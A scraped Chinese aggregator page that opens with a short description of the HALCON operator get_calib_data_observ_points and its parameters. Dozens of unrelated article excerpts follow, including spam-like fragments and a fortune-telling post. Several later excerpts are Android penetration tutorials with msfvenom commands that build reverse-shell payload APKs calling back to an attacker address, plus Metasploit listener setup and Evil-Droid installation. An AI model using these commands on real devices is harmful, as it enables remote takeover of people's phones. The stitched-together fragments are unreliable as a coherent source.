当前位置: 首页 > news >正文

get_calib_data_observ_points算子说明

算子作用:从标定板中读取圆心数据

函数声明:

get_calib_data_observ_points( : : CalibDataID, CameraIdx, CalibObjIdx, CalibObjPoseIdx : Row, Column, Index, Pose)

参数说明:

  1. CalibDataID,标定参数模型句柄
  2. CameraIdx,相机的索引,默认值为0
  3. CalibObjIdx,校准对象的索引,默认值为0
  4. CalibObjPoseIdx,观察到的校准对象的索引,默认值为0(以上是输入参数)
  5. Row,检测到点的行坐标。
  6. Column,检测到点的纵坐标。
  7. Index,检测到的点与观测标定对象点的对应。
  8. Pose,与观测相机相比,大致估计观测到的校准对象的姿势,参数元数个数:7

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.exyb.cn/news/show-35187.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

Hive表类型(存储格式)

转载专用:读到了好文章,用于分享收藏,侵权删。转发自大佬:桥路丶 ,https://blog.csdn.net/qq_33876553版权声明:本文为CSDN博主「桥路丶」的原创文章,遵循CC 4.0 BY-SA版权协议,转载…...

Elasticsearch:使用 Debian 软件包安装 Elasticsearch

Elasticsearch 的 Debian 包可以从我们的网站或我们的 APT 仓库下载。 它可用于在任何基于 Debian 的系统上安装 Elasticsearch,例如 Debian 和 Ubuntu。 Elasticsearch 的最新稳定版本可以在下载 Elasticsearch 页面上找到。 其他版本可以在过去的版本页面上找到。…...

Python编程进阶 关于变量引用这点事

文章目录一、变量的引用1、 引用的概念2、变量引用的示例3、函数的参数和返回值的传递二、可变和不可变类型1、分类2、不可变类型3、可变类型4、哈希 hash三、局部变量和全局变量1、 局部变量(1)局部变量的作用(2)局部变量的生命周…...

MATLAB基础语法之拟合算法

%data1.mat数据如下 %导入data1的数据 load data1%以x为自变量,y为因变量,o为点的形状作散点图 plot(x,y,o)% 给x和y轴加上标签 xlabel(x的值)ylabel(y的值)%返回data1数据行数n 19 n size(x,1); %最小二乘法求解拟合曲线参数 k (n*su…...

SpringBoot集成支付宝支付(沙箱环境)

项目结构&#xff1a; 项目依赖&#xff1a; <dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-thymeleaf</artifactId></dependency><dependency><groupId>org.springframework.boo…...

Golang高并发:生产者消费者模型

Golang高并发&#xff1a;生产者消费者模型 我们本篇博文主要通过几个例子来介绍生产者消费者模型。 案例1 下面看看第一个例子中的生产者协程。 //生产者协程go func() {for {product : strconv.Itoa(time.Now().Nanosecond())chanShop <- "商品" productf…...

反射动态修改注解属性值

注解Two中有two属性表&#xff0c;在TestTwoAnno这个类初始化结束后&#xff0c;修改Two注解的two属性。 import com.enterprise.support.rocketmq.annotation.Two; import org.springframework.beans.factory.InitializingBean; import org.springframework.stereotype.Compo…...

(Java)获取视频中的每一帧图像

代码 /*** 根据读取到的视频文件&#xff0c;获取视频中的每一帧图片* param video 视频文件* http://192.168.0.107:9087/datago/detectsysfiles/204/createFile/frameFile/001/frameFile001.mp4* param picPath 图片的保存路径* E:/detectsysfiles/204/createFil…...

Java工作资料!同花顺java开发怎么样

前言 昨天&#xff0c;有个女孩子问我提高数据库查询性能有什么立竿见影的好方法&#xff1f; 这简直是一道送分题&#xff0c;我自豪且略带鄙夷的说&#xff0c;当然是加「索引」了。 她又不紧不慢的问&#xff0c;索引为什么就能提高查询性能。 这还用问&#xff0c;索引…...

js/python 抓取网页数据,导出execl

文章目录前言操作代码前言 js的方式&#xff1a;直接使用post获取所有的数据&#xff0c;因为是分页数据有total显示所有的数据&#xff0c;在请求的时候&#xff0c;就可以直接把每页的数据显示为total的值。没有太大的技术含量 python方式&#xff1a;直接遍历页码获取数据&…...

SpringCloud Alibaba实战(7:nacos注册中心管理微服务)

源码地址&#xff1a;https://gitee.com/fighter3/eshop-project.git 持续更新中…… 在上一节我们已经完成了Nacos Server的本地部署&#xff0c;这一节我们学习如何将Nacos作为注册中心&#xff0c;管理微服务。 1、注册中心简介 1.1、什么是注册中心 在微服务的体系里&am…...

xboot大神的libonnx环境搭建

1.get代码 git clone gitgitee.com:xboot/libonnx.git 2.安装依赖&#xff1a; sudo apt-get install libsdl2-dev sudo apt-get install libsdl2-gfx-dev 3.编译 4.结果 5.验证 进入examples/mnist&#xff0c;执行mnist. 结束&#xff01;...

Visual Studio

Visual Studio 2019 Enterprise&#xff08;企业版&#xff09;&#xff1a;BF8Y8-GN2QH-T84XB-QVY3B-RC4DF Visual Studio 2019 Professional&#xff08;专业版&#xff09;&#xff1a;NYWVH-HT4XC-R2WYW-9Y3CM-X4V3Y...

数据结构与算法常用总结

数据结构1.常用数据结构及其原理1.1 数组1.2 链表1.3 队列1.4 栈1.5 哈希表1.6 二叉树2.常见数据结构面试题2.1数组和链表的区别2.2 排序算法2.3 栈结构与队列的区别1.常用数据结构及其原理 1.1 数组 每一个数组元素的位置由数字编号&#xff0c;称为下标或者索引(index)。大根…...

Linux中文件的分类

在Linux中&#xff0c;一切皆文件&#xff0c;Linux系统中文件的分类如下&#xff1a; 1、文本文件。文件组成主要是ASCII字符&#xff0c;文件作用是记录普通文件&#xff0c;如shell脚本文件、源文件、TXT文件等。 2、二进制文件。文件由二进制0、1组成&#xff0c;文件作用是…...

你花了多久弄明白架构设计?多个java应用同时访问数据库

01 分布式限流&#xff1a;NginxZooKeeper 1.1 分布式限流之Nginx 请解释一下什么是 Nginx? 请列举 x Nginx 的一些特性。 请列举 x Nginx 和 和 Apache 之间的不同点 请解释 x Nginx 如何处理 P HTTP 请求。 在 x Nginx 中&#xff0c;如何使用未定义的服务器名称来阻止…...

易-----

易 本人00后&#xff0c;近期在学子平、八字命理、易经玄学方面&#xff0c;如也是玄学爱好者&#xff0c;可以加联系方式一起讨论、学习&#xff0c;年龄相仿更好。 微信&#xff1a;1783176946 事实上还有两种《易经》&#xff0c;一种叫《连山易》&#xff0c;一种叫《归藏…...

5852. 最小化目标值与所选元素的差 记忆化dfs,关键在于你怎么定义变量

目录解题思路代码解题思路 当时是个周赛题&#xff0c;试图利用爆搜解决的。。。。 显然不行&#xff0c;然后又听有人说是个背包QAQ dl都欺负我(╥╯^╰╥)嘤嘤嘤 不过了解了二维数组第一维放行数第二维放和&#xff0c;&#xff0c;&#xff0c;瞬间感觉记忆化搜索又可以…...

Spring面试题复习(一)

Spring面试题复习&#xff08;一&#xff09; 一、Spring是什么&#xff1f; Spring是一个轻量级的开发框架&#xff0c;常说的Spring框架&#xff0c;就是指Spring Framework&#xff0c;它是很多模块的集合&#xff0c;这些模块可以帮助我们开发人员简化开发&#xff0c;这…...

_____

sel,1SELECT * FROM table sel,2SELECT * FROM table WHERE name 强哥 sel,3SELECT * FROM table ORDER BY updateTime DESC hui,1会 paiban,1排班 beifen,1备份 gaihao,1改好 dai,1待 tu,1图 dangran,1当然 minxian,1明显 mingxian,1明显 suji,1苏稽 shizhan,1适展 gaihaole…...

NC66 两个链表的第一个公共结点

描述 输入两个无环的单链表&#xff0c;找出它们的第一个公共结点。&#xff08;注意因为传入数据是链表&#xff0c;所以错误测试数据的提示是用其他方式显示的&#xff0c;保证传入数据是正确的&#xff09; 示例1 输入&#xff1a; {1,2,3},{4,5},{6,7} 复制返回值&…...

PyScreeze 基本使用(1)

PyScreeze 基本使用&#xff08;1&#xff09; PyScreeze屏幕截图 PyScreeze是Python 2和3的一个简单的跨平台屏幕截图模块。 关于 PyScreeze可以拍摄截图&#xff0c;将它们保存到文件中&#xff0c;并在屏幕中定位图像。这是有用的&#xff0c;如果你有一个小的图像&#x…...

ABB喷涂机器人吹扫系统的主要作用

ABB喷涂机器人吹扫系统主要作用是什么 两个字&#xff1a;防爆&#xff01; ABB喷涂 何处简单爆&#xff1f; 如下喷涂机械臂部位 ABB机器人 那么防爆是什么原理 通过吹扫系统不断向机械臂内部输入气体&#xff08;压力可控&#xff09;使机械手内部形成稳定的安全过压环…...

SQL 之共同使用ip用户检测问题【自关联问题】-HQL面试题48【拼多多面试题】

目录 0 问题描述 1 数据分析 2 小结 0 问题描述 1 数据分析 (1)数据准备 create table log (uid string,ip string,time string )row format delimited fields terminated by \t;insert into log values (a, 124, 2019-08-07 12:0:0), (a, 124, 2019-08-07 13:0:0), (b, 1…...

JSP的Cookie与Session

一、Cookie与Session区别 CookieSession内置对象否是保存位置客户端服务器安全性较不安全较安全保存内容格式StringObject 有效范围 单个浏览器所属 写在JSP中&#xff0c;将会所有浏览器共享 同一浏览器不同页面共享 二、基本使用 1.Cookie 存储在本地&#xff0c;由浏览器…...

spring-cloud-kubernetes-feign实战

关于spring-cloud-kubernetes spring-cloud-kubernetes是springcloud官方推出的开源项目&#xff0c;用于将Spring Cloud和Spring Boot应用运行在kubernetes环境&#xff0c;并且提供了通用的接口来调用kubernetes服务&#xff0c;主要提供了应用程序使用k8s本身功能&#xff…...

Nacos心跳时间配置及服务快速上下线

Nacos心跳时间配置及服务快速上下线 Nacos默认心跳时间是30秒&#xff0c;不太满足正式环境需要&#xff0c;需要调整心跳时间更短&#xff0c;让线上服务上下线能快速感知. 1.修改微服务的nacos的心跳配置时间 preserved.heart.beat.interval: 1000 #该实例在客户端上报心跳…...

Python编程进阶 关于变量引用这点事

文章目录一、变量的引用1、 引用的概念2、变量引用的示例3、函数的参数和返回值的传递二、可变和不可变类型1、分类2、不可变类型3、可变类型4、哈希 hash三、局部变量和全局变量1、 局部变量&#xff08;1&#xff09;局部变量的作用&#xff08;2&#xff09;局部变量的生命周…...

Python已编辑好的文件问什么文件?

Python已经编译好的文件为后缀 .py文件...

04_set容器_查找和统计

#include<iostream> #include<string> #include<set> using namespace std;//查找 void test01() {set<int>s1;s1.insert(10);s1.insert(30);s1.insert(20);s1.insert(40);set<int>:: iterator pos s1.find(30);if (pos ! s1.end()){cout <&…...

资损率全球最低!一文详解「蚂蚁风险大脑」

小蚂蚁说&#xff1a; 蚂蚁风险大脑是 蚂蚁金服结合自身10多年的风险攻防经验&#xff0c;利用人工智能、云计算、区块链等领先科技手段&#xff0c;融合各地金融监管实践研发的智能监管科技系统。 在 9 月的云栖 ATEC 大会上&#xff0c;蚂蚁金服正式开放蚂蚁风险大脑 2.0&a…...

蚂蚁双11的这群筑梦师

小蚂蚁说&#xff1a; 你和五年前最大的区别是什么&#xff1f;对OceanBase来说&#xff0c;是每年双11突破前一年的记录。 从支付宝切给OceanBase 1%的流量到100%的流量&#xff0c;甚至支付宝把包括账务在内的所有核心数据链&#xff0c;全部搬到OceanBase上&#xff1b;从20…...

两码一号(四):蚂蚁产品大盘

前言 蚂蚁有没有所有产品的地图信息&#xff1f; 这个产品的问题应该找哪位产品经理&#xff1f; 这个产品倒底是在线上还是已经下线了&#xff0c;在哪能查到&#xff1f; 从哪里能找到一个产品的具体说明、关联应用、架构师&#xff1f;等等诸多问题。 这些问题是不是已经困扰…...

使用kali的msf渗透安卓手机

#1# 生成安卓手机木马 msfvenom -p android/meterpreter/reverse_tcp LHOST(本机ip) LPORT4444 R > /home/kali/Desktop/111.apkapk生成后会保存在桌面上。 #2# 加载模块 use exploit/multi/handler #3# 选择Payload set payload android/meterpreter/reverse_tcp#4# 查…...

js对象相关操作

&#xff08;1&#xff09;创建对象的三种方法 1、字面量创建对象 对象字面量&#xff1a;就是花括号 { } 里面包含了表达这个具体事务&#xff08;对象&#xff09;的属性和方法 var obj {uname: 张三,age: 18,sex: 男,sayHi: function() {console.log(Hi~);} }里面的属性…...

渗透测试之移动端 安卓

渗透测试之移动端,对于安卓,一般使用如下方法进行安全分析,如下表所示: # Adb # https://developer.android.com/studio/command-line/adb?hl=es-419 adb connect IP:PORT/ID adb devices adb shell adb push adb install# Analyze URLs in apk: # https://github.com/sh…...

APP安卓渗透测试四大步骤

在开始APP安卓端渗透测试时&#xff0c;根据需要制定步骤&#xff0c;并向委托方详细说明需要使用的工具、方法等。具体操作时&#xff0c;会把渗透测试分成三个部分和阶段&#xff0c;不同的角度使区别的方法有所不同&#xff0c;例如在理论上把渗透测试分为准备阶段、渗透测试…...

MSF模拟渗透测试之攻击Android

MSF模拟渗透测试之攻击Android 文章目录MSF模拟渗透测试之攻击Android前言一、生成一个test.apk文件二、在kali中打开监听&#xff0c;进行提权1.打开kali&#xff0c;进行监听2.返回会话&#xff0c;进行提权总结前言 一、生成一个test.apk文件 在kali上生成test.apk文件 l…...

vulnhub靶机Android4渗透笔记

靶机下载/安装 靶机下载&#xff1a;https://www.vulnhub.com/entry/android4-1,233/ Android4靶机IP&#xff1a;未知 攻击者IP&#xff1a;192.168.75.128 下载好后打开如下图&#xff1a; 需要输入密码&#xff0c;但是我们并不知道密码 1主机发现 因为是搭建靶机进行渗…...

Android渗透工具(建议收藏)

原文链接 Android渗透工具(建议收藏) 推荐阅读 病毒分析常用工具集 AppScan安全扫描工具 Android渗透测试工具 Android安全测试工具大全 Android逆向分析工具总结 AppScan安全漏洞扫描工具 超实用的网络安全开源工具 程序代码/文本对比实用工具 渗透测试工具集合(建议…...

安卓apk 客户端渗透<高级>

禁用一下ipv6 ──(root㉿root)-[~/桌面] └─# echo "net.ipv6.conf.eth0.disable_ipv6 1" >> /etc/sysctl.conf 2020版本以上的要安装依赖 ┌──(root㉿root)-[~/桌面]└─# apt-get install openjdk-11-jdk-headless -y 安装Evil-Droid工具 ┌──(…...

安卓渗透测试工具---drozer使用

目录drozer下载drozer安装sieve(drozer测试程序)drozer使用建立手机端和PC端的连接确定攻击面测试activities exported (容易绕过登陆验证)测试 content provider(易造成数据库泄露&#xff0c;sql注入等问题)利用暴露的content provider进行sql注入从File System-backed Conte…...

安卓apk 客户端渗透

┌──(root㉿root)-[~/桌面] └─# msfvenom -p android/meterpreter/reverse_tcp LHOST192.168.40.128 LPORT4444 R > baidu.apk 启动监听 ┌──(root㉿root)-[~/桌面] └─# msfconsole msf6 > use exploit/multi/handler msf6 exploit(multi/handler) > se…...

android app渗透测试-Activity、Service

Android App中可能出现的安全漏洞的类型&#xff1a; 协议——通信协议&#xff08;本地、网络&#xff09;&#xff0c;协议大部分是由C/C实现&#xff0c;存在以下安全问题&#xff1a;通信数据引发的逻辑漏洞&#xff1b;通信数据引发的缓冲区溢出等可能导致远程代码执行/拒…...

Android渗透思路简述及入门反编译基础。

猩红实验室 欢迎投稿分享交流 0x00 前言 为什么要进行移动端渗透&#xff1f; 对于渗透测试人员来说&#xff0c;在日常测试工作中经常设计移动APP的安全检测&#xff0c;多一个攻击面也就意味着目标系统多了一份被攻破的可能&#xff0c;且随着移动互联网时代的到来&#xff…...

kali渗透安卓手机

kali渗透安卓手机 1.打开kali&#xff0c;获取ip地址 ip地址为192.168.242.145 2.打开小米球或者sunny 3.使用msfvenom生成apk sudo msfvenom -a java -platform android -a dalvik -p android/meterpreter/reverse_tcp LHOST192.168.242.145 LPORT8888 -o payload.apk4.将生…...

android渗透工具是什么意思,android渗透攻击工具合集

该楼层疑似违规已被系统折叠 隐藏此楼查看此楼1.HackodeHackode : The hacker*s Toolbox is an application for penetration tester, Ethical hackers, IT administrator and Cyber security professional to perform different tasks like reconnaissance, scanning performi…...

MSF渗透测试android手机

今天继续给大家介绍渗透测试相关知识&#xff0c;本文主要内容是MSF渗透测试android手机。 免责声明&#xff1a; 本文所介绍的内容仅做学习交流使用&#xff0c;严禁利用文中技术进行非法行为&#xff0c;否则造成一切严重后果自负&#xff01; 再次强调&#xff1a;严禁对未授…...

渗透测试-安卓APP经验总结

安卓APP渗透总结抓包测试 无法抓包对apk包的渗透测试渗透实战-挖掘某学校站点漏洞(APP漏洞)抓包测试 无法抓包 burp抓包过程中发现无法抓到包&#xff0c;报错信息如下&#xff1a; java.security.cert.CertPathValidatorException: Trust anchor for certification path not…...

安卓渗透服务框架

在学安卓渗透之前&#xff0c;先找了一家做安卓渗透服务的公司&#xff0c;看看人家都是干嘛的&#xff0c;是怎么做安卓渗透的。然后明确自己的学习方向。 这家公司名叫Blueinfy&#xff0c;以下介绍多源于翻译。 我们都知道&#xff0c;移动应用分两部分组成&#xff0c;一部…...